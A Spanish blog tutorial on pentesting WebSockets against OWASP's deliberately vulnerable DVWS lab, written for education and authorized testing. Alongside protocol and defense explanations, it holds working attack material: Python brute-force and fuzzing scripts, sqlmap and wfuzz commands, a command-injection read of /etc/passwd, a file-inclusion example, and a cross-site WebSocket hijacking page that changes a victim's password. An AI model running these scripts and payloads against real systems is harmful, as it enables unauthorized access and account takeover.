Posted in

Pentesting en Websockets

Como usuarios finales, a menudo utilizamos aplicaciones de chat, herramientas colaborativas (como Figma por ejemplo), o aplicaciones que tienen seguimiento de ubicación en tiempo real (como Uber).¿Qué tienen en común estas aplicaciones?: Sí, todas usan WebSockets.

En este artículo, explicaremos qué son los WebSockets, y además, como podemos realizar pruebas de seguridad para validar su seguridad. Comencemos:

¿Qué es un WebSocket?

Actualmente, vivimos en un mundo que necesita estar cada vez más conectado, y que además permita tener interacción casi en tiempo real. Ya sea que estemos jugando un video juego, interactuando con compañeros de trabajo en una pizarra virtual, o viendo por donde se está moviendo el taxi en el que viajamos, siempre esperamos que las aplicaciones nos ofrezcan la data de manera inmediata.

Para que esto se pueda lograr, nuestro famoso y querido protocolo: HTTP, en la forma usual en la que opera, no es la opción más recomendable. Esto se debe a que HTTP permite una sola petición o respuesta por cada conexión TCP. Cada vez que se requiere nueva información, se debe realizar una nueva solicitud y estas son independientes, lo que significa que no se mantiene una conexión persistente entre el cliente y el servidor.

Para lidiar con esto, tenemos el protocolo WebSocket. Este protocolo de comunicación estandarizado en el 2011, permite comunicaciones bidireccionales y persistentes entre un cliente y un servidor. Esto hace que tenga menos sobrecarga, ya que no requiere que el cliente solicite constantemente datos, reduciendo así la latencia y el uso de ancho de banda.

Comparación entre HTTP y Websocket. Fuente: https://geekflare.com/es/websocket-servers/

Aquí te presentamos una tabla comparativa entre las características de HTTP vs Websockets:

CaracterísticaHTTPWebSocket
Modelo de comunicaciónPetición – Respuesa (Stateless)Conexión persistente (Stateful)
DireccionalidadUnidireccional (cliente inicia solicitud, servidor responde)Bidireccional (cliente y servidor pueden enviar datos en cualquier momento)
PersistenciaNo mantiene conexión abiertaMantiene una conexión abierta durante toda la sesión
LatenciaMayor (requiere múltiples solicitudes para actualizar datos)Menor (Envío en tiempo real sion necesidad de nuevas solicitudes)
EficienciaMenos eficiente debido a la sobrecarga de headers en cada solicitudMás eficiente al eliminar la sobrecarga de headers innecesarios
Casos de usoTransferencia de documentos, APIs REST, navegación webChats, juegos en línea, streaming, sistemas de trading, actualizaciones en tiempo real
SeguridadDepende de HTTPS y mecanismos como OAuth, JWT, etc.Requiere autenticación específica para evitar ataques como WebSocket hijacking

Seguramente te estarás preguntando: ¿No puedo hacer lo mismo con Ajax?. La respuesta corta es NO. Aunque Ajax permite enviar y recibir datos de manera asíncrona, lo que permite tener una carga de contenido sin tener que refrescar por ejemplo, todo un sitio, o tener búsquedas más rápidas de contenido, la comunicación sigue siendo unidireccional y sin persistencia.

Hay que aclarar, sin embargo, que existen otros protocolos que se han desarrollado también con el propósito de resolver el problema con la comunicación en tiempo real, tales como: MQTT, WebTransport, gRPC, los cuales están fuera del alcance de este artículo, pero te invitamos a explorar para conocer más acerca de ellos.

¿Y qué hay de la seguridad?

De manera práctica, podemos ver a WebSocket como un mecanismo para intercambiar datos. En ese sentido, los principios de seguridad que son aplicables a la mayoría de tecnologías también lo son para websockets. Aquí resumimos algunos de ellos:

Seguridad en tránsito: Al igual que HTTP, WebSocket no cifra por defecto los datos en tránsito, por lo que es conveniente montarlo sobre TLS. El protocolo ws:// debe ser reemplazado por wss://

Autenticación y autorización: Por defecto, WebSockets no tiene un mecanismo de autenticación incorporado, por lo que es importante implementar dicho mecanismo, haciendo uso de tokens JWT o OAuth por ejemplo.

Validación de la data de entrada del cliente: Al igual que otros protocolos, WebSocket puede ser vulnerable a ataques de XSS o SQLi si los datos no son sanitizados adecuadamente.

Disponibilidad: WebSocket también es propenso a ataques de DoS o DDoS si no se agregan configuraciones sobre los límites en el número de conexiones (rate-limit). Una buena práctica también es construir arquitecturas elásticas y tener un adecuado monitoreo.

Secuestro de sesiones: Cuando no se valida correctamente el origen que establece la conexión, un atacante podría secuestrar una sesión WebSocket, sin que el servidor detecte que la conexión proviene de una fuente no legítima.

Estas son algunas de las principales consideraciones de seguridad que se deben tener a la hora de implementar WebSockets. Cuando esto no se tiene en cuenta o se implementa de manera incorrecta, los servicios que se implementen pueden ser vulnerables.

Dicho esto, vamos a ver algunos escenarios de ataque.

Advertencia: La información y las técnicas compartidas en este post son sólo con fines educativos o para realizar pruebas debidamente autorizadas. Atacar aplicaciones sin consentimiento, puede ser considerado ilegal. Utilice este conocimiento bajo su propio riesgo.

Ataques sobre WebSockets

Antes de comenzar a ver algunos de los vectores de ataque que existen para esta tecnología, debemos contar con las herramientas que servirán para nuestro proposito:

  • Interceptador: Burp, OWASP Zap o el que prefieras. Puedes descargar la versión community de Burp Suite desde acá.
  • Herramienta de conexión: WebSocket client. Puedes descargarla desde acá
  • Mozilla Simple Websocket Client: Un add-on que puedes utilizar para probar la conexión hacia un WebSocket, puedes descargarlo desde acá

Para poder poner en práctica los vectores de ataques, vamos a utilizar OWASP Damn Vulnerable Web Sockets, la cual es una aplicación preparada de manera vulnerable intencionalmente por OWASP. Para instalarla solo debemos ejecutar lo siguiente:

git clone https://github.com/interference-security/DVWS/
cd DVWS
sudo docker compose up

Una vez que los contenedores se encuentren instalados y corriendo, vamos a configurar nuestro archivo host en la máquina que utilizaremos para atacar para que apunte a la dirección IP de nuestra máquina victima utilizando el nombre dvws.local

En Windows, editar el archivo: C:\windows\System32\drivers\etc\hosts
En Linux, editar el archivo: /etc/hosts

Agregar la siguiente línea: [TU_IP]  dvws.local

Ahora desde un browser, podemos iniciar el servicio navegando hacia http://dvws.local:8888


Ahora sí, veamos algunos escenarios de ataque:

Command Execution

El primer ataque que veremos es la ejecución de comandos. Para ello utilizaremos la opción «Command Execution», la cual nos muestra un cuadro de texto, desde el que podremos hacer ping a una dirección IP

Desde luego, este cuadro de texto no está sanitizado. Para ver cual es la interacción de un WebSocket, desde Burp Suite vamos a ver la trama HTTP. Lo primero que notarás son las cabeceras WebSocket

Recuerda que el protocolo WebSocket siempre inicia con una trama de tipo HTTP, la cual sirve para el handshake. Podrás notar también que además de las cabeceras propias de WebSocket, las cabeceras Connection: Upgrade y Upgrade: websocket están presente, lo que indica que el servidor debe cambiar de HTTP a WebSocket. Veamos ahora la respuesta

En WebSocket, la cabecera Sec-WebSocket-Key es una cabecera que va desde el cliente al servidor en la petición, y la cabecera Sec-WebSocket-Accept es la cabecera con la que el servidor responde, ambas se usan durante el primer handshake.

A partir de acá, nos dirigiremos a la pestaña WebSockets History, dentro de Burp Suite:

Estas tramas contienen la secuencia de entrada y salida de mensajes usando WebSockets:

Habrás notado que el servicio WebSocket se ejecuta en el puerto 8080. Para probar directamente el servicio, utilizaremos nuestra extensión Simple Web Socket Client, que instalamos antes en Firefox:

Ahora sí, ayudándonos de nuestra extensión, inyectaremos el request para leer el archivo /etc/passwd:

Y así hemos conseguido nuestra primera inyección a través de WebSockets!

Fuerza bruta

El siguiente ataque que veremos es el de fuerza bruta. Esta opción nos muestra un formulario de login, al cual le ingresaremos credenciales inválidas para verificar el funcionamiento:

Como ya entendemos las bases, solo nos concentraremos en la trama WebSocket:

Vemos que la estructura del cuerpo de la petición se basa en dos parámetros, cuyos valores están codificados en base64. Ya te habrás dado cuenta que este ataque no lo podremos hacer con la extensión, ya que tendríamos que ejecutar las peticiones una por una, lo cual pierde el sentido de una fuerza bruta:

Desde Burp Suite Professional podemos enviar la petición a Repeater para modificarla, pero sería poco práctico realizar fuerza bruta utilizando Repeater. ¿Qué podemos hacer entonces?

Tenemos dos opciones las cuales podrás utilizar de acuerdo a como te sientas más cómodo

La primera opción es a través de la extensión WebSocket Turbo Intruder en Burp Suite:

  • Para instalarla, desde Burp Suite, iremos a la pestaña Extensions, luego iremos a BApp Store, y buscaremos la extensión:
  • Una vez instalada, vamos a ir nuevamente a la pestaña de WebSocket History, y ya podemos ver que nos permite enviar nuestra petición a WebSocket Turbo Intruder:
  • Lo que viene es un poco más complicado, pero intentaremos explicarlo de la mejor manera. Lo primero es descargar una base de contraseñas. En este caso, hemos descargado una lista de passwords comunes del siguiente repositorio: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/common-passwords-win.txt
  • Como ya sabemos que el request envía los valores en base64, vamos a convertir los valores usando un servicio online:
  • Tu puedes utilizar el método que más te guste. Ahora vamos a guardar esa lista en un archivo, el cual llamaremos common-passwordsb64.txt.
  • Una vez que hayamos enviado nuestro request a WebSocket Turbo Intruder, veremos lo siguiente:
  • Esta extensión, nos permite escribir personalizar un script en Python, que nos permita automatizar un ataque. Puedes jugar con las diferentes opciones que existen por defecto, pero lo que necesitamos ahora es recorrer la lista de contraseñas en base64 y colocarlas en la petición, hasta dar con aquella que sea la contraseña correcta.
  • Vamos a modificar el script para que recorra el archivo de passwords, y conforme recorra cada línea, inyecte el valor en el parámetro auth_pass. Colocaremos el siguiente código:
import os
def queue_websockets(upgrade_request, message):
    connection1 = websocket_connection.create(upgrade_request)
    for palabra in open('C:\Users\Alejandro\Documents\common-passwordsb64.txt'):
        clave = payload(message,palabra.strip())
        connection1.queue(clave)
    #for i in range(10):
    #    connection1.queue(message)
def payload(message, *args):
    for i in range(0, len(args)):
        body = message.replace('$'+str(i+1), args[i])
    return body
    
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

def handle_incoming_message(websocket_message):
    #websocket_message.getConnection().queue("foo")
    results_table.add(websocket_message)
  • No olvides cambiar el valor del parámetro auth_pass por $1, ya que es el valor que se reemplazará. Ahora, solo daremos click en Attack, y comenzaremos a lanzar los mensajes WebSocket:
  • Como vemos, cada petición lleva el valor de una de las contraseñas en base64 del archivo. Para poder encontrar la contraseña correcta, solo debemos ubicar la posición de aquella respuesta que tenga una longitud diferente. En nuestro caso la contraseña es «YWRtaW4=», la cual convertida es «admin»
  • Desde luego nuestros lectores son mejores programadores que nosotros, así que estamos seguros que la personalización del código será mas óptima, y podrán encontrar la contraseña de una manera más prolija, incluso aunque tengan que iterar sobre el nombre de usuario. Por ahora, esto nos sirve. Hemos encontrado las credenciales correctas! (admin/admin)

La segunda forma, parece un poco más compleja, pero en realidad tiene como base la primera. Vamos a ir paso a paso:

  • Lo primero es construir un código en Python que nos permita conectarnos al servicio WebSocket. En cada petición, enviaremos el valor modificado de acuerdo a nuestra lista de contraseñas:
import websocket
import argparse
import time

def load_wordlist(file_path):
    """Carga una lista de palabras desde un archivo local."""
    try:
        with open(file_path, 'r', encoding="utf-8") as f:
            return [line.strip() for line in f.readlines()]
    except Exception as e:
        print(f"Error al leer el archivo: {e}")
        return []

def fuzz_websocket(ws_url, wordlist):
    """Envía cada palabra de la lista al WebSocket y recibe la respuesta."""
    try:
        ws = websocket.create_connection(ws_url)
        print(f"[+] Conectado a {ws_url}")

        for word in wordlist:
            fuzzed_message = '{"auth_user":"YWRtaW4=","auth_pass":"'+word+'"}'
            print(f"[>] Enviando: {fuzzed_message}")
            ws.send(fuzzed_message)
            response = ws.recv()
            print(f"[<] Respuesta: {response}")
            time.sleep(0.5)  # Pequeña pausa para evitar inundar el servidor

        ws.close()
        print("[+] Conexión cerrada")

    except Exception as e:
        print(f"[!] Error en la conexión WebSocket: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="WebSocket Fuzzing con lista de palabras")
    parser.add_argument("--url", required=True, help="URL del WebSocket de destino")
    parser.add_argument("--wordlist", required=True, help="Archivo con la lista de palabras para fuzzing")
    args = parser.parse_args()

    words = load_wordlist(args.wordlist)
    if words:
        fuzz_websocket(args.url, words)
  • Ahora, utilizando el mismo archivo con las contraseñas en base64, vamos a ejecutar el script, el cual enviará petición por petición y nos devolverá la respuesta, encontrando el password correcto:

Otra opción similar, aunque es más versátil, es la que puedes encontrar en el siguiente enlace: https://www.vdalabs.com/hacking-web-sockets-all-web-pentest-tools-welcomed/

Hemos adaptado el script para que funcione en Python3. La ventaja de este método, es que abre un loopback en la máquina atacante, para que pueda inyectarse el valor fuzzeado utilizando otras herramientas. Dejaremos el código modificado:

#!/usr/bin/python3
import socket
import ssl
from http.server import BaseHTTPRequestHandler, HTTPServer
from websocket import create_connection
from urllib.parse import parse_qs
import argparse
import os

LOOP_BACK_PORT_NUMBER = 8000

def FuzzWebSocket(fuzz_value):
    print(fuzz_value)
    ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0])))
    result = ws.recv()
    return result

def LoadMessage(file):
    file_contents = ""
    try:
        if os.path.isfile(file):
            with open(file, 'r') as f:
                file_contents = f.read()
    except Exception as e:
        print(f"Error reading file: {file} - {e}")
        exit()
    return file_contents

class myWebServer(BaseHTTPRequestHandler):

    def do_GET(self):
        qs = parse_qs(self.path[2:])
        fuzz_value = qs.get('fuzz', [''])[0]
        result = FuzzWebSocket([fuzz_value])
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(result.encode())

parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets')
parser.add_argument('-u', '--url', help='The remote WebSocket URL to target.', required=True)
parser.add_argument('-m', '--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.', required=True)
args = parser.parse_args()

ws_message = LoadMessage(args.message)

ws = create_connection(args.url, sslopt={"cert_reqs": ssl.CERT_NONE}, header={}, http_proxy_host="", http_proxy_port=8080)

try:
    server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer)
    print(f'Started httpserver on port {LOOP_BACK_PORT_NUMBER}')
    server.serve_forever()

except KeyboardInterrupt:
    print('^C received, shutting down the web server')
    server.socket.close()
    ws.close()
  • Para ejecutarlo, solo debes crear un archivo llamado message.txt con el cuerpo de la petición:
  • Ahora, solo debemos ejecutar el script de la siguiente forma:
sudo python fuzzing_ws.py -u "ws://dvws.local:8080/authenticate-user" -m message.txt
  • Y desde otra ventana, ejecutaremos la herramienta que necesitamos para fuzzear. En este caso, como solo vamos a iterar contraseñas, utilizaremos wfuzz, de la siguiente manera:
wfuzz -w common-passwordsb64.txt  http://127.0.0.1:8000/?fuzz=FUZZ
  • Y así encontraremos la contraseña:
  • La ventaja de este script es que podemos utilizarlo con cualquier otra tool, por ejemplo SQLmap, si quisiéramos inyectar código SQL, tal como lo veremos en el siguiente ejercicio. Todos los caminos conducen a Roma, así que puedes utilizar el método que más te guste.

Hemos conseguido la contraseña de admin, ahora sí podemos probarla desde el navegador

Blind SQL Injection

Para este ejercicio utilizaremos el código anterior. La única diferencia es que en vez de ejecutar la herramienta wfuzz, vamos a utilizar SQLmap.

  • Lo primero que debemos hacer es analizar la petición que se forma cuando interactuamos con el módulo:
  • Como vemos, es similar a la petición de fuerza bruta, por lo que iniciaremos nuestro no sin antes modificar el cuerpo de la petición en el archivo message.txt:
{"auth_user":"[FUZZ]","auth_pass":""}
  • Ahora ejecutaremos SQLMap:
sqlmap -u http://127.0.0.1:8000/?fuzz=test -p fuzz --tamper=base64encode -D dvws_db --tables
  • El payload que encuentre la herramienta, es el que podremos usar para bypassear el formulario de login:

File Inclusion

Para este ejercicio, utilizaremos el módulo File Inclusion

Ahora, vamos a analizar la petición WebSocket:

Como vemos, para poder listar los juegos, apunta al archivo pages/games.txt, por lo que enviaremos la petición a la funcionalidad de Repeater de Burp Suite, para poder modificarla de la siguiente manera:

Como vemos, al no estar sanitizado el parámetro, es posible acceder a archivos del servidor.

Bonus: Cross-Site Request Forgering – Aún es posible?

En este último ejercicio, veremos como realizar un ataque de CSRF, el cual también es conocido como Cross Site WebSocket Hijacking. Para ello, vamos a analizar el comportamiento del módulo CSRF, el cual nos muestra una interfaz para cambiar la contraseña de un usuario:

La primera interacción es para la autenticación:

La segunda, es la que permite el cambio de password. Cabe mencionar que para este caso, el segundo cuadro de texto «Confirm password», está siendo ignorado, por lo que solo nos sirve el valor enviado en el parámetro npass:

Algo que podemos observar en la petición HTTP es que no existe un token CSRF u otro mecanismo que prevenga un ataque de este tipo:

Construiremos nuestra página HTML que nos permitirá realizar el ataque:

<html>
<head>La Bitacora del Hacker</head>
<body>
<script>
var ws = new WebSocket("ws://dvws.local:8080/change-password");
        ws.onopen = function(event) {
            ws.send('{"npass":"admin2","cpass":"admin2"}');
        };
        ws.onmessage = function(event) {
                alert("La Bitacora dice: " + event.data);
        };
        ws.onerror = function(event) {
                alert("Se ha producido un error " + event.data);
        }; 
</script>
<h3>La Bitacora del Hacker!!!</h3>
</body>
</html>

La publicaremos en nuestro servidor «atacante», y simularemos que la victima ha abierto el enlace que le hemos hecho llegar. Desde luego, tiene que haber una sesión iniciada. Al abrir el enlace, la contraseña se cambiará a admin2:

Para que se pueda realizar el ataque, la página debe tener condiciones que la hagan insegura, tales como:

  • No validar la cabecera origin
  • Usar una cookie de sesión para la autenticación
  • No utilizar un token CSRF

Si replicas el ataque en tu propio entorno, e intentas realizarlo, te darás cuenta que por más que construyas el HTML de otra forma, o uses extensiones para validar si la cookie se encuentra correctamente almacenada, el ataque no funcionará. Te explicamos por qué:

Actualmente, la mayoría de browsers modernos ofrecen una capa de seguridad adicional para que las cookies no sean compartidas entre sitios, lo cual hace que nuestro ejercicio no funcione por defecto. Por ejemplo, Firefox ha implementado la característica Total Cookie Protection, la cual encapsula las cookies restringiéndolas solo al sitio que se está visitando. Esta configuración la hemos deshabilitado intencionalmente, ya que por defecto, se encuentra en el nivel estandar:

    Si usamos el modo por defecto, nuestra página falsa no llevará la cookie del sitio original, por lo que el ataque no se concreta:

    En Chrome, existe algo similar. Las cookies son almacenadas por defecto con la configuración SameSite=LAX, la cual impide que las cookies se compartan entre terceros, por lo que el ataque funcionará siempre que el sitio de la victima tenga configurado de manera explicita SameSite=None en las cookies de sesión.

    En Edge, pasa algo similar, la protección está configurada por defecto para proteger las cookies entre sitios:

    Sin embargo, es importante aclarar que estos métodos de protección no son infalibles, por lo que en aplicaciones que se acceden en redes privadas, es posible concretar el ataque desde Chrome. De igual manera, para aquellos servicios que tienen implementado SSO, es posible evadir el control. Aquí te dejamos una referencia: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#bypassing-samesite-lax-restrictions-with-newly-issued-cookies

    Esperamos que el artículo te haya sido de utilidad.

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *